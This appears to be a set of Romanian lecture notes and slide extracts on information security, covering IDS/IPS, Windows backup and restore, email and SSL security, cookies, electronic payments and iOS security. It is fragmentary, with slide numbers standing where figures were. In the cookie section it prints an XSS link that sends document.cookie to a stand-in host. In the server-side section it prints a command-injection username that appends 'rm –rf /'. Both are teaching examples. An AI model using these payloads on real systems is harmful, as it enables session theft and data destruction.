detectat un atac de catre IDS sau NBA, sistemul IPS poate sterge pachetele respective,
permitand totusi ca restul traficului sa treaca.
Un sistem NBA poate fi considerat un pic mai putin proactiv decat cel IDS si, in general, se
axeaza pe traficul intern. Poate fi de asemenea implementat si peste o anumita conexiune si sa
inspecteze pachete exact ca un IDS. Spuneam mai putin proactiv deoarece NBA incearca sa
recunoasca problemele care sunt deja in curs de desfasurare (de exemplu, scanarea retelei sau
atacurilor DDOS, care sunt in curs de desfasurare). Incearca sa identifice amenintarile ce nu au
fost identificate de IDS sau de software-ul antivirus. Deoarece sistemul NBA este orientat spre
identificarea simptomelor sau a comportamentelor actualizarea motorului de analiza se face
mai rar comparativ cu sistemele IDS.
IDS Software:
Snort IDS (under binaries);
WinPcap (for packet capturing);
LiTe Sniffer (network traffic monitor);
IDScenter (Snort front end)
IDS/IPS
IDS - Sisteme de detectie ale
intruziunilor
Un sistem de detectie al
intruziunilor - IDS (Intrusion
Detection System) reprezinta
un echipament (sau o
aplicatie) care monitorizeaza
activitatile retelei si/sau
sistemului cautand activitati
malitioase sau violari ale
politicilor.
Detectia intruziunilor este
procesul de monitorizare a
evenimentelor care au loc
intr-un sistem sau o retea de
calculatoare si analiza lor
pentru a detecta posibile
incidente care sunt violari sau
amenitari iminente de violare
a politicilor de securitate, a
politicilor de utilizare acceptate sau a practicilor standard de securitate. Prevenirea intruziunilor
este procesul prin care se desfasoara detectia intruziunilor si incercarea de inlaturare a
posibilelor incidente detectate. Sistemele de detectie si prevenire ale intruziunilor - IDPS
(Intrusion Detection-Prevention Systems) au ca scop principal identificarea posibilelor
incidente, inregistrarea informatiilor despre ele, incercarea de inlaturare a incidentelor si
raportarea catre administratorii de securitate. In plus, organizatiile pot folosi IDPS-urile si
pentru alte scopuri: identificarea problemelor legate de politicile de securitate, documentarea
amenintarilor existente si descurajarea indivizilor in a incalca politicile de securitate.
IDS/IPS
IDS (IntrusionDetectionSystem)
Un sistem de detectare a intruziunilor (IDS) monitorizează traficul din rețea pentru
activități suspecte și alerteaza sistemul sau administratorul de rețea. În unele cazuri, IDS pot
răspunde, de asemenea, la traficul anormal sau rău intenționat prin luarea de măsuri, cum ar fi
blocarea de utilizator sau adresa IP a sursei ce a accesat rețeaua.
IDS vin au o mare varietate de forma și se apropie de obiectivul de a detecta traficul
suspect în moduri diferite. Există IDS bazată pe retea (NIDS) și IDS bazata pe hostul sistemului
(HIDS). Există IDS care detecteaza dupa căutarea de semnături specifice cunoscute la fel ca si
software-ul antivirus și există IDS care detecteaza intruziunile bazandu-se pe compararea
tiparele de trafic de o bază inițială și caută anomalii. Există IDS care monitorizează pur și simplu
și de alertă și sunt IDS care efectuează o acțiune sau măsuri ca răspuns la o amenințare
detectată.
NIDS
Network Intrusion Detection Systems sunt plasate într-un punct(e) strategice pentru a
monitoriza traficul de intrarea si iesire de la toate dispozitivele din rețea. În mod ideal, ar scana
tot traficul de intrare și de ieșire, însă acest lucru ar putea crea un blocaj care ar putea afecta
viteza de ansamblu a rețelei.
HIDS
Host Intrusion Detection Systems ruleaza pe gazde individuale sau dispozitive din rețea.
HIDS monitorizează pachetele de intrare și de ieșire din aparat și va alerta utilizatorul sau
administratorul in caz ca o activitate suspecta este detectată
Bazat pe semnatura
Un IDS bazat pe semnătura va monitoriza pachetele de rețea și le va compara cu o baza de
date de semnături sau cu niste atribute de amenințări malware cunoscute. Acest lucru este
similar cu modul in care software-ul antivirus detecteaza malware. Problema este in cazul in
care amenintarea este insa ea nu e in baza de date, atunci ea nu va fi detectata.
Bazat pe anomalie
Un IDS care se bazează anomalie va monitoriza traficul în rețea și il va compara cu o bază
stabilita. Linia de bază va identifica ceea ce este "normal" pentru rețea, adica: ce fel de lățime
de bandă este utilizat în general, ce protocoale sunt folosite, ce porturi si dispozitive sunt
conectare în general, iar atunci este detectat de trafic anormal se va alerta administratorul sau
utilizatorul.
IDS pasive
Un IDS pasiv pur și simplu detectează și alerteaza. Când este detectat trafic suspect sau
rău intenționat o alertă este generata și trimisa administratorului sau utilizatorului, care trebuie
sa ia măsuri pentru a bloca activitatea sau să răspundă într-un fel.
IDS reactive
Un IDS reactive nu doar va detecta traficul suspect sau rău intenționat și va alerta
administratorul, dar va lua măsuri proactive predefinite pentru a răspunde amenințării. De
obicei acest lucru înseamnă blocarea traficului și mai departe orice rețea de la adresa IP sursă
sau utilizator.
Componente:
Securing FTP Access – monitorizeaza traficul pe portul TCP/IP pe care ruleaza serverul FTP
Securing Microsoft Exchange Outlook Web Access – monitorizeaza rapoartele log
Windows pentru logari nereusite. Folositi aceasta componenta pentru a securiza aplicatiile ce
folosesc autentificarea Windows (Outlook, MES, CRM etc.)
Tipuri de IDS-uri:
Sistem de detecție al intruziunilor de tip network-based. Într-un sistem de detecție al
intruziunilor de tip network-based - Network-based Intrusion Detection System (NIDS) - senzorii
sunt localizați în puncte critice ale rețelei care este monitorizată, de cele mai multe ori la
marginea rețelei sau in DMZ (demilitarized zone). Senzorii captează tot traficul din rețea și
analizează conținutul fiecărui pachet căutand urme de trafic malițios.
Un NIDS reprezintă o platformă independentă care identifică intruziunile prin examinarea
traficului din rețea și monitorizează mai multe stații. NIDS-urile pot vizualiza traficul din rețea
prin conectarea lor la un hub sau la un echipament switch configurat cu port mirroring.
Atacuri de tip DoS - un atacător poate evita un IDS prin efectuarea unui atac
de tip DoS asupra lui care să îi consume resursele sau care să genereze
un număr foarte mare de alarmefalse reuşind astfel să ascundă atacul real.
IPS-urile au unele avantaje faţă de IDS-uri. Unul dintre acestea se referă la faptul că IPS-
urile sunt proiectate să fie implementate în-line astfel încât tot traficul să treacă prin ele şi să
poată preveni atacurile în timp real. În plus, multe dintre soluţiile IPS au capabilitatea să
decodifice protocoalele de nivel aplicaţie (HTTP, FTP, SMTP) oferind astfel o mai bună
monitorizare. Totuşi atunci când se doreşte implementarea unui IPS de tip network-based
trebuie să se ia în considerare faptul că dacă prin respectivul segment de reţea circulă trafic
criptat majoritatea produselor nu pot să inspecteze astfel de trafic.
Un alt avantaj major ar fi faptul că unele dintre IPS-uri au posibilitatea de a corectă unele
dintre metodele de evitare ale IDS-urilor(atacuri de tip DoS, inserarea de trafic).
Tipuri de IPS-uri:
Un Sistem de Prevenire al Intruziunilor este de tip host-based (HIPS) atunci când
aplicaţia de prevenire a intruziunilor se află pe adresa IP specifică sistemului protejat, de obicei
o singură staţie. HIPS complementeaza metodele antivirus tradiţionale bazate pe semnături
deoarece nu necesită o actualizare continuă pentru a putea răspunde atacurilor. Deoarece
codul dăunător trebuie să modifice sistemul sau alte componente software care se află pe
maşină în cauza un HIPS va observă aceste modificări şi va încerca să prevină această acţiune
sau să anunţe utilizatorul pentru permisiune. Dezavantajul major al unui astfel de produs
constă în folosirea extensivă a resurselor staţiei pe care se află.
NIPS-urile se află în punctele critice ale reţelei şi tot traficul depinde de bună lor
funcţionare,fapt ce poate constitui un dezavantaj atunci când echipamentul este nefuncţional
Versiuni anterioare
Versiunile anterioare sunt copii ale fișierelor și folderelor pe care Windows le salvează automat ca
parte a protecției sistemului. Se pot utiliza versiunile anterioare pentru a restaura fișiere sau foldere
care au fost modificate sau șterse accidental, sau care au fost deteriorate. În funcție de tipul de fișier
sau folder, este posibilă deschiderea, salvarea la o altă locație sau restaurarea unei versiuni anterioare.
Versiunile ulterioare pot fi utile, dar nu ar trebui considerate ca fiind o copie de rezervă, deoarece
fișierele vor fi înlocuite de noile versiuni și nu vor fi disponibile dacă se defectează unitatea.
Restaurare sistem
Restaurare sistem vă ajută să restaurați fișierele sistem ale computerului la un moment anterior. Este
un mod de a anula modificările de sistem efectuate asupra computerului, fără a afecta fișiere personale,
cum ar fi mesajele de poștă electronică, documentele sau fotografiile.
Uneori, instalarea unui program sau a unui driver poate cauza o modificare neprevăzută asupra
computerului sau un comportament imprevizibil al sistemului de operare Windows. De obicei,
dezinstalarea programului sau a driverului corectează problema. Dacă în urma dezinstalării problema
nu se rezolvă, aveți posibilitatea să încercați restaurarea sistemului computerului la o dată anterioară la
care totul funcționa corect.
Restaurare sistem utilizează o caracteristică denumită Protecție sistem pentru a crea și salva regulat
puncte de restaurare pe computer. Aceste puncte de restaurare conțin informații despre setările pentru
registry și alte informații pe care Windows le utilizează. De asemenea, aveți posibilitatea să creați
manual puncte de restaurare.
Protecție sistem este o funcționalitate care creează și salvează regulat informații despre fișierele și
setările de sistem ale computerului. De asemenea, Protecție sistem salvează versiunile anterioare ale
fișierelor pe care le-ați modificat. Aceste fișiere sunt salvate în puncte de restaurare, care sunt create
imediat înaintea unor evenimente de sistem semnificative, cum ar fi instalarea unui program sau a unui
driver de dispozitiv. De asemenea, acestea mai sunt create automat la interval de șapte zile, dacă nu au
fost create alte puncte de restaurare în precedentele șapte zile, dar puteți crea manual puncte de
restaurare, în orice moment.
Protecția de sistem este activată automat pentru unitatea pe care este instalat Windows. Protecția de
sistem se poate activa doar pentru unitățile formatate cu sistemul de fișiere NTFS.
Un disc de reparare a sistemului se poate utiliza pentru a incarca SO pe computer, el va poate a juta
sa recuperate SO dupa o eroare sau sa restaurati computerul dupa o imagine de sistem.
Dacă fișierul sistemului original este suprascris, acesta poate modifica conținutul fișierului pe care
sistemul nu va fi capabil să interpreteze, acesta este clasificat ca o eroare gravă, și sistemul se oprește.
În acest caz, din păcate, sunt amenințate documentele importante, imagini, filme, clipuri video chiar si
2
alte imagini de sistem de pe discul dur a computerului. În cazul în care producătorul a furnizat disc de
Reparație a sistemul, putem repara ușor. Dacă nu aveți acest disc, Windows 7 va ofera posibiliatea
crearii acestui disc.
3
Apoi apare urmatoarea ferestra:
4
In acest caz alegem a doua optiune:
5
Aici putem alege fisierele dorite pentru Backup, de asemenea putem include si o imagine de sistem.
6
In cazul dat crearea copiilor se face la cerere, pentru programarea rularii acestui instrument putem
Accesa Modificare program, in acest caz crearea umatoarei copii se va face incremental, adica se va
adauga la imagine fisiere modificate sau noi.
7
Pentru restaurarea fisierelor accesam Restaurare fisiere
8
De asemenea le putem restabili in locatia initiala sau in alta locatie. Tastam Restaurare.
Pentru a crea o imagine de sistem accesam: Creare imagine sistem din Copie de rezerva si
restaurare:
9
Alegem discul pe care se va crea imaginea, apoi se va afisa informatia despre discurile carora li se
vor crea imagini
10
Creare disc de reparare sistem
Pentru a crea o imagine de sistem accesam: Creare disc de reparare a sistemului din Copie de
rezerva si restaurare:
Restaurare sistem
Pentru a folosi acest instrument accesam Panou de control\Toate elementele din Panoul de
control\Recuperare:
11
Accesam Deschidere Restaurare sistem si alegem puntul de restaurare:
12
Acest instrument e foarte util in cazul in care sa produs o eroare in sistem in urma instalarii unui
program, in acest caz nu avem nevoie de o restaurare integrala a sistemului, ci doar de revenirea la
starea initiala, facilitate care e oferita de acest instrument.
SO Windows 7 mai dispune de un Instrument numit Windows Easy Transfer, care ne permite copierea
fisierelor personale pe un computer pe altul:
13
Acest transfer poate fi facut prin retea, printr-un cablu special sau printro unitate de stocare
Folders – aici alegem folderele carora li se vor face Backup si foldrele ce vor fi ignorate la Backup
Schedule – alegem intervalul backup-urilor automate ( Zilnic sau saptamanal) si durate de pastrare a
Backup-ului (nedeterminata, un an, 6 luni)
16
Alegem pastrarea pe un folder local si apasam Backup now. Deja Dupa de asemena are optiune de
criptare a informatiilor pentru o mai buna securizare. Alegerea prolei de criptare e propusa la inceputul
Backup-ului:
Tastam Continue:
17
4. Compararea Deja Dup cu Windows Backup & Restore
Un avantaj important al instrumentrului Deja Dup este posibiliatea salvarii fisierului de Backup pe
server sau cont cloud si criptarea fisierului de backup, caracteristica care nu este prezenta in mod
automat Windows Backup & Restore, insa e posibil simplu de copiat manual imaginea creata pe
cloud-ul dorit . In privinta celorlalte instumente Windows are o gama mai larga de posibilitati, care nu
sunt prezente in Deja Dup, ca : Creare unui disc de reparare sistem, crearea imaginii sistemului,
crearea punctelor de restaurare a sistemuli. Un avantaj semnificativ al ambelor instrumente este faptul
ca sunt gratuite.
18
Aspectul organizaţional a
securităţii informaţionale
Program național de securitate
cibernetică a RM (2016-2020, HG nr811 din
29.11.15, MO nr.306-310 art.905)
Vine să implementeze prevederile:
• Acordului de Asociere RM-UE;
• Strategia securității cibernetice a UE;
• Convenția Consiliului Europei privind
criminalitatea informatică;
• Recomandările Uniunii Internaționale a
Telecomunicațiilor referitoare la asigurarea
securității cibernetice a rețelelor și
serviciilor de comunicații electronice.
Program național de securitate
cibernetică a RM (2016-2020, HG nr811 din
29.11.15, MO nr.306-310 art.905)
Programul include 7 domenii de intervenție:
• Proiectul conține standarde de securitate pentru ambele niveluri, inclusiv privind securitatea fizică
și cea operațională, schimbul de date.
• Astfel, instituțiile publice vor fi responsabile pentru efectuarea auditului intern de securitate
cibernetică, instruirea personalului, elaborarea ghidului de utilizare a poștei electronice și alte
activități ce vor contribui la procesarea și accesarea în siguranță a datelor.
Cerințele minime obligatorii de
securitate cibernetică
1. Clasificarea informațiilor
2. Copii de rezervă (backup-uri)
3. Sisteme de jurnalizare
Problematica uzuala:
• Ce se incearca protejat
• Impotriva cui
Ce se urmareste:
• Confidentialitate – pe email se trimit informatii private
• Autenticitate – cine trimite email in realitate
• Anti-spam
• Phishing
Strategii generale:
• Criptarea continutului mesajului cu o cheie simetrica, utilizand o
cheie de trafic generata aleator
• Utilizarea criptografiei cu chei publice pentru criptarea pentru toti
beneficiarii
• Semnatura digitala a mesajului
1
Probleme securitate email
2
Signing
Semnatura:
• Daca se semneaza plaintext si apoi se cripteaza, identitatea
transmitatorului este ascunsa tuturor exceptand adevaratii receptori
• Daca se semneaza textul criptat, un gateway poate verifica
semnatura – una dintre cele mai bune merode anti-spam si anti-
phishing.
Headere:
• Headerele sunt schimbate in tranzit
• Valorile campurilor in header sunt in formar ASCII si nu poate fi
codat base64
• Exemplu evident: Received: se adauga cate o linie
• Mai putin evident: adresele de mail sunt de multe ori rescrise pentru
ascunderea masinilor interne si prezentarea de adrese clare in
exterior
• In consecinta headerele nu pot fi protejate prin scheme de
securizare email.
3
Criptare email – S/MIME
4
Probleme - S/MIME
5
Criptare email - Pretty Good Privacy
Avantaje:
• Numar finit de utilizatori, dupa ce toti utilizatorii au primit chei
secretul de terta parte poate fi distrus
• IBE elimina necesitatea infrastructurii de distributie a cheilor publice
• Facilitati interesante prin posibilitatea de codificare a informatiilor
aditionale (data de expirare mesaj, timestamp). Datele incapsulate
in ID sunt similare cu deschiderea unui nou canal intre transmitator
si PKG cu autenticitate garantata.
Dezavantaje:
• Deoarece PKG genereaza chei private pentru utilizatori el poate
decripta si/sau semna orice mesaj fara autorizare
• Datorita abordarii centralizate pentru PKG, criptografia IB nu este
utilizabila in super-retele
• Necesita un canal sigur intre utilizator si PKG pentru transmiterea
cheii private la intrarea in sistem. O solutie fezabila este o conexiune
SSL.
8
Phishing
9
Phishing
10
Combatere phishing
11
Securitate web (Web Security)
Motivatie:
• Necesitatea transmiterii pe Internet a documentelor private.
Metode:
• Utilizarea criptografiei. SSL (Secure Sockets Layer) este un
acronim asociat unui protocol web dezvoltat de Netscape pentru
a transmite documente private prin Internet.
• SSL utilizeaza un sistem criptografic cu doua chei pentru a cripta
datele — una publica, cunoscuta de oricine, si una privata,
secreta, cunoscuta numai de destinatar.
• Foarte raspandit, majoritatea browserelor Web suporta SSL si
multe site-uri utilizeaza protocolul pentru a obtine informatii
confidentiale, cum ar fi numere de card de credit. Prin conventie,
URL-urile care au nevoie de o conexiune SSL incep cu https: in
loc de http:.
• SSL creeaza o conexiune securizata intre un client si un server,
peste care pot fi trimise datele in siguranta.
1
Securitate web (2)
2
Caracterizare generala SSL
Ce se intampla?
• Teoretic, la platile cu card de credit se atasaza un ordin semnat
• Acelasi lucru incearca sa faca Netscape cu SSL: un mod de
asociere a unui certificat client care este legat de cartea de credit si
care nu are numarul cartii de credit in certificat
3
SSL
SSL
TCP/IP
Localizare SSL
4
SSL - Obiective
5
SSL - Arhitectura
Stiva SSL
6
SSL – protocoale componente
7
Protocolul SSL Record
Date criptare
Pachet TCP
8
Calcul MAC
• Protocolul Alert este folosit de catre una dintre parti pentru a transporta
mesajele in timpul sesiunii.
10
SSL - Protocolul Handshake
11
Schema protocol negociere (1)
Faza 1
Hello-client
Mesajul Hello-client.
Clientul trimite un mesaj de salut serverului care contine date cum ar fi:
• cea mai noua versiune SSL pe care o foloseste
• date aleatoare folosite pentru protectia cheii de sesiune;
• id-ul sesiunii : numarul de identificare al sesiunii. O valoare diferita
de 0 indica faptul ca un client doreste sa actualizeze parametrii
conexiunii sau sa stabileasca o noua conexiune a acestei sesiuni. O
valoare egala cu 0 indica dorinta clientului de a stabili o noua
conexiune
• lista cu cifruri : o lista de algoritmi de criptare si metode de schimb
ale cheilor suportate de catre client.
12
Schema protocol negociere (2)
Mesajul Hello-server
Serverul, ca mesaj de raspuns trimite clientului, de asemenea, un
mesaj de salut continand aceleasi campuri ca la mesajul primit:
13
Schema protocol negociere (3)
14
Schema protocol negociere (4)
15
Schema protocol negociere (5)
16
Comentarii SSL
17
Web browser security
Vulnerability reports 38 5 2 0
High severity vulnerability 1 0 0 0
reports
Vulnerability issues 40 6 3 0
Relative danger 161 19 8 0
18
Caracteristici ale securitatii la browsere
Scopul atacatorilor:
• Furt de informatii personale, in special parole pentru
informatii financiare;
• Crearea de “roboti” pe calculator ce pot fi utilizati pentru
atacuri DoS, trimiterea de spam, gazduirea de phishing web
site.
Javascript:
• Nu are legatura cu Java – initial s-a numit LiveScript;
• Sursa celor mai multe brese de securitate in Firefox si IE;
• Nu este clar modelul de securitate;
• Legaturi puternice intre scripturi de atac aflate pe siteuri diferite.
AJAX:
• Ajax – Asynchronous Javascript si HTML;
• Permite realizarea de pagini extrem de interactive;
• Implicatiile de securitate pentru client si server sunt inca destul de
neclare, dar este clar ca se creeaza premise.
21
Active X
Active X – caracteristici:
• Cea mai mare eroare de design la continut activ: ruleaza cu
permisiuni complete;
• Peste 1000 de controale
• Translatia: extrem de multe posibilitati de atac
De ce ActiveX?
• Poate fi utilizat cu succes la Windows Update;
• Numai IE are ActiveX, este singura mare diferenta intre IE si Firefox.
22
Autentificarea continua
23
Protejarea informatiei de identificare
• Doar serverul cunoaste aceste chei, deci numai serverul poate crea
siruri de caractere protejate
24
Cookies
Caracteristici:
• Folosit uzual
• Permite utilizatorilor sa reintre pe un site (sa se identifice)
• Session cookies – pastreaza informatiile numai pe durata utilizarii
browser-ului. La inchiderea acestuia informatia este stearsa
• Persistent cookies – se pastreaza pe propriul calculator, poate fi
ajustat intervalul de timp de pastrare a datelor (ex. email account –
pagina personalizata la deschidere mail, pagina web favorita..).
• Stocati pe harddiscurile utilizatorului (pot fi copiati usor).
Protectia datelor de autentificare:
• La autentificarea continua datele de autentificare sunt de cele mai
multe ori necriptate
• Cele mai multe site-uri nu doresc incarcarea suplimentara cu SSL
pentru orice
• Credentialele sunt usor de furat
• Apararea uzuala: limitarea duratei de viata; reautentificarea inainte
de face lucruri foarte sensibile din punctul de vedere al sigurantei.
25
Dezavantaje cookies (1)
Identificarea imprecisa:
• Daca pe un calculator sunt folosite mai multe browsere, fiecare va avea
cookie-urile sale. Un cookie nu identifica persoana, ci combinatia cont de
utilizator, calculator, browser.
• Nu se poate face diferenta dintre doi utilizatori care folosesc acelasi
calculator si browser (daca nu folosesc conturi de utilizator locale diferite).
Interceptarea cookie:
• Sesiunile HTTP obisnuite sunt vizibile tuturor calculatoarelor din retea, care
pot intercepta pachetele de date. Aceste cookie-uri nu pot contine deci
informatii confidentiale. O solutie posibila este HTTPS.
• „Cross-site scripting” (XSS) permite trimiterea unui cookie altor servere, care
in mod normal nu ar trebui sa-l primeasca. Browser-ele moderne permit
executarea unor fragmente de cod primite de la server; daca cookie-urile pot
fi accesate in timpul executiei, ele ar putea fi trimise altor servere decat cele
„autorizate”. Criptarea nu ajuta impotriva acestui gen de atac. Metoda este
de obicei folosita pe site-uri care permit utilizatorilor sa trimita continut
HTML.
• Folosind un fragment de cod, un utilizator rau-voitor poate sa primeasca
cookie-uri ale altor utilizatori si cu ajutorul lor se poate conecta ca sa
pacaleasca serverul care crede ca altcineva s-a autentificat.
26
Dezavantaje cookies (2)
„Otravirea” cookie-urilor:
• „Otravirea” cookie-urilor: un atacator trimite unui server un cookie invalid (un
cookie primit de la server, dar modificat).
• Cookie-urile ar trebui sa fie retinute si trimise serverului neschimbate; un
atacator poate sa le modifice si apoi sa le trimita serverului
• Efect: Daca un cookie retine suma care trebuie platita pentru cumparaturi
schimbarea acestei valori ar putea permite cumpararea unor bunuri la un
pret mult mai mic.
• Cele mai multe site-uri retin cu ajutorul cookie-urilor doar un identificator de
sesiune (un numar unic generat aleator) care identifica sesiunea. El
reprezinta un index intr-o tabela interna a serverului, in care se retin valorile
cu adevarat importante, cum ar fi pretul unor cumparaturi, etc.
Cookie inter-site:
• Fiecare site ar trebui sa aiba acces doar la cookie-urile proprii
• Erori in programarea browsere-lor pot duce la incalcarea acestei reguli
• Situatie similara trimiterii de cookie-uri modificate, dar nu este atacat
serverul, ci un utilizator foloseste un browser vulnerabil.
• Prin ele se poate fura identificatorul de sesiune si atacatorul poate sa se
„autentifice” in locul utilizatorului de buna credinta.
27
Alternative la cookie
28
Alternative la cookie (2)
29
Furt cookie
• Furt cookie. In general cookie-urile sunt trimise doar serverelor care le-au
creat, pentru a le „fura” browser-ul trebuie sa le trimita altor servere.
• Scripturile JavaScript au de obicei acces la toate cookie-urile stocate de
browser, si pot sa le trimita oriunde. De ex, cel care detine domeniul
example.com poate scrie pe un alt site o legatura :
– <a href="#“ onclick="window.location='http://example.com/stole.cgi?text=
'+escape(document.cookie); return false;">Click here!</a>
• Cand un utilizator apasa pe acest link, browserul inlocuieste
document.cookie cu lista cookie-urilor active pe acel site, care ajung astfel la
serverul example.com, si asa are acces la cookie-urile utilizatorilor sitului pe
care a pus link-ul.
• Atac imposibil de prevenit de browser, pentru ca scriptul vine chiar de la
serverul care a creat cookie-urile, si totul pare a fi autorizat de acel server.
• Solutie: administratorii siturilor care permit utilizatorilor sa le modifice
continutul sa implementeze metode pentru respingerea acestui gen de
scripturi.
• Flagul HttpOnly nu le fac vizibile la programele client precum JavaScript. Ex:
– Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010
23:59:59 GMT; path=/; domain=.example.net; HttpOnly
• Cand browserul primeste un astfel de cookie, el trebuie sa il foloseasca in
mod obisnuit pentru schimburile HTTP urmatoare si sa nu-l faca vizibil
scripturilor.
30
Server-side Security
Apararea standard:
• Verificarea tuturor intrarilor
• Constientizarea faptului ca nimic din ceea ce clientul trimite nu poate
fi considerat de incredere
• Verificarea periodica a site-ului (audit)
31
Scripturi server-side
• Utilizatorii rau intentionati pot trimite date false. (ex: in script care
trimite email colecteaza username si executa: /usr/bin/sendmail
username. Utilizatorul furnizeaza: foo; rm –rf / ca un username.
Codul ce se executa este: /usr/bin/sendmail foo; rm –rf /
Curatire site:
• Stergerea scripturilor implicite nesecurizate (ex: nph-test-cgi la
Apache).
33
Securitatea sistemelor de
Comerţ electronic
3
Forme si sisteme de plata electronice
4
Sisteme de plata: SET
(Secure Electronic Transfer)
8
Protocol SET
Scop
Stabilirea de tranzactii financiare care:
• Asigura confidentialitatea informatiilor;
• Asigura integritatea instructiunilor de plata pentru bunurile si
serviciile comandate;
• Autentifica detinatorul de card si comerciantul
Entitati
• Detinator de card (Cardholder)
• Comerciant (Merchant - web server)
• Banca Comerciant (payment gateway, acquirer)
• Banca detinator card
9
Mod lucru SET
10
Securitatea cardurilor de credit
11
Roluri 3D Secure
Issuer (Emitent)
• Gestioneaza serviciul de inregistrare a detinatorului de card (inclusiv
verificarea identitatii fiecarui detinator la inregistrare) si autentifica
detinatorul de card la plata on-line
Acquirer (Achizitor)
• Asigura ca vanzatorul participant la tranzactia Internet opereaza sub
o intelegere cu Acquirer si furnizeaza procesarea tranzactiei pentru
autentificare
Interoperability (Interoperabilitatea)
• Faciliteaza schimbul de informatii intre cele doua domenii pe baza
unui protocol uzual si partajaza serviciile
12
Arhitectura 3D Secure
13
Procesul de inregistrare (enrollment)
14
Exemplu tranzactie
15
Pasi (1)
16
Pasi (2)
17
Sfaturi utile
• Atentie la phishing;
18
Baza legislativă
Introducere
Informația este un produs care, ca și alte produse importante rezultate din activitatea umană, are
valoare pentru o organizație și în consecință, este necesar să fie protejată corespunzător.
Fiecare organizație își poate implementa propriul său sistem de asigurare a securității
informației. Un management al securității informației se realizează prin implementarea unui set
corespunzător de acțiuni care cuprinde politici, practici, instrumente și proceduri, structuri
organizaționale, precum și funcții software. Toate acțiunile trebuie prevăzute, definite și aplicate pentru
a asigura că sunt întrunite obiectivele specifice de securitate a organizației.
Deoarece dezvoltarea tehnologiilor este în continuă avansare, telefoanele mobile, tabletele și
laptopurile au devenit foarte răspîndite și comune. Puterea computațională a acestor dispozitive
continuă să crească, pe cînd ele devin mai mici și mai ușoare. Un spectru nou de produse mobile care
combină un șir de posibilități computaționale într-un singur dispozitiv este în curs de dezvoltare.
Aceste posibilități convergente mobile permit utilizatorilor să rămînă online, accesînd toate datele de
care dispun, ca poșta electronică și cotații la bursă chiar și în timpul mișcării.
Deși există multe avantaje evidente ale acestor dispozitive, ele de asemenea afectează procesele
tradiționale de business și din acest considerent este nevoie de acordat o importanță prioritară
securității. Organizațiile trebuie să fie preocupate de securitate, ce include furtul sau pierderea
dispozitivelor mobile folosite de angajați, scurgerea informațiilor corporative prin intermediul acestor
dispozitive, probabilitatea infectării cu viruși și o posibilă interceptare neautorizată a traficului. În timp
ce beneficiem de conviniențele și efeciențele aduse de noile tehnologii mobile, trebuie să fie elaborate
și implementate măsuri corespunzătoare de securitate pentru a contracara orice amenințări asupra
detelor senzitive introduse de utilizatorii dispozitivelor mobile.
În cadrul acestei lucrări de curs vor fi prezentate două dintre cele mai importante noțiuni care
caracterizează tehnologiile mobile moderne și anume platformele iOS și Android. Lucrarea își propune
să descrie cum asigură aceste platforme normele de securitate, ce măsuri sunt întreprinse pentru a
asigura confidențialitatea utilizatorilor și datelor acestora.
Securitatea iOS
Compania Apple a proiectat platforma iOS avînd la bază conceptul de securitate. Păstrarea
informației securizată pe dispozitivele mobile este foarte importantă pentru fiecare utilizator, indiferent
dacă el accesează informații corporative și personale sau păstrează fotografii personale, informații
bancare și adrese. Deoarece informația fiecărui utilizator este importantă, dispozitivele iOS sunt
proiectate să mențină un nivel înalt de securitate fără a compromite experiența utilizatorului.
Dispozitivele iOS oferă caracteristici stricte de securitate a tehnologiilor, dar totuși sunt ușor de
folosit. Dispozitivele sunt proiectate să asigure o transparență cît mai mare a securității. Multe
caracteristici de securitate sunt activate implicit și astfel departamentul IT nu trebuie să execute
configurări adăugătoare. Și unele caracteristici cheie, cum ar fi criptarea dispozitivului, nu sunt posibile
de configurat, deci utilizatorii nu le pot dezactiva din greșeală.
Pentru organizații, luarea în considerație a securității dispozitivelor iOS, este de mare ajutor să
înțeleagă cum lucrează caracteristicile încorporate de securitate pentru a oferi o platformă mobilă
sigură.
iPhone, iPad și iPod touch sunt proiectate cu nivele de securitate. Caracteristicile hardware și
firmware de nivel jos protejează împotriva programelor malițioase și a virușilor, pe cînd caracteristicile
de nivel înalt permit accesul securizat la informația personală și corporativă, previne utilizarea
neautorizată și ajută la contracararea atacurilor.
Modelul de securitate iOS protejează informațiile totodată permițînd utilizarea mobilă, aplicații
străine și sincronizarea. În mare parte sistemul se bazează pe principiile securizate de proiectare și în
multe cazuri, Apple a realizat lucru de proiectare adițional pentru a spori gradul de securitate, fără a
compromite utilizarea.
iOS se bazează pe aceleați tehnologii ca și OS X și beneficiază de ani de dezvoltare a securității.
Înbunătățirile continue și caracteristicile adiționale de securitate au permis departamentelor IT din
întreprinderile din lumea întreagă să adopte rapid și să suporte dispozitivele iOS în rețelele lor.
Figura 1.2.2.1
1.2.3 Cod de acces
Prin stabilirea unui cod de acces pentru un dispozitiv, utilizatorul activează în mod automat
Protecția datelor. iOS suportă codurile de acces de patru cifre și de lungime arbitrară alfanumerică. În
plus față de deblocarea dispozitivului, un cod de acces prevede entropia pentru chei de criptare, care nu
sunt stocate pe dispozitiv. Acest lucru înseamnă că un atacator ce se află în posesia unui dispozitiv nu
poate obține accesul la date din anumite clase de protecție, fără coduri de acces.
Codul de acces este "încurcat" cu UID-ul dispozitivului, astfel încercările trebuie să fie
efectuate pe dispozitivul ce se află sub atac. Un număr mare de iterații este folosit pentru a face fiecare
încercare mai lentă. Numărul iterațiilor este calibrat astfel încît o încercare durează aproximativ 80
milisecunde. Acest lucru înseamnă că va dura mai mult de 5 ani și jumătate pentru a încerca toate
combinațiile de șase caractere a codului de acces alfanumeric cu litere mici și numere, sau 2 ani și
jumătate pentru un cod de acces de nouă cifre cu numere numai.
Pentru a descuraja atacurile asupra codului de acces, interfața iOS impune escaladarea întîrzierii
de la intrarea unui cod de acces invalid la ecranul de blocare. Utilizatorii pot alege de a șterge
dispozitivul automat după 10 încercări eșuate de introducere a codului de acces. Această setare este de
asemenea, disponibilă ca o politică administrativă prin Mobile Management Device (MDM) și
Exchange ActiveSync, și poate fi, de asemenea, setat la un prag inferior.
Crearea parolelor Apple ID puternice
ID-urile Apple sunt utilizate pentru conectare la un număr de servicii, inclusiv iCloud,
FaceTime, și iMessage. Pentru a ajuta utilizatorii să creeze parole puternice, toate conturile noi trebuie
să conțină următoarele atribute pentru parolă:
• Cel putin opt caractere
• Cel puțin o literă
• Cel puțin o literă majusculă
• Cel puțin un număr
• Nu mai mult de trei caractere identice consecutiv
• Să nu fie la fel cu numele de cont
1.2.4 Clase
Atunci cînd este creat un fișier nou pe un dispozitiv iOS, lui îi este atribuită de către aplicație o
clasă care îl creează. Fiecare clasă utilizează politici diferite pentru a determina cînd datele sunt
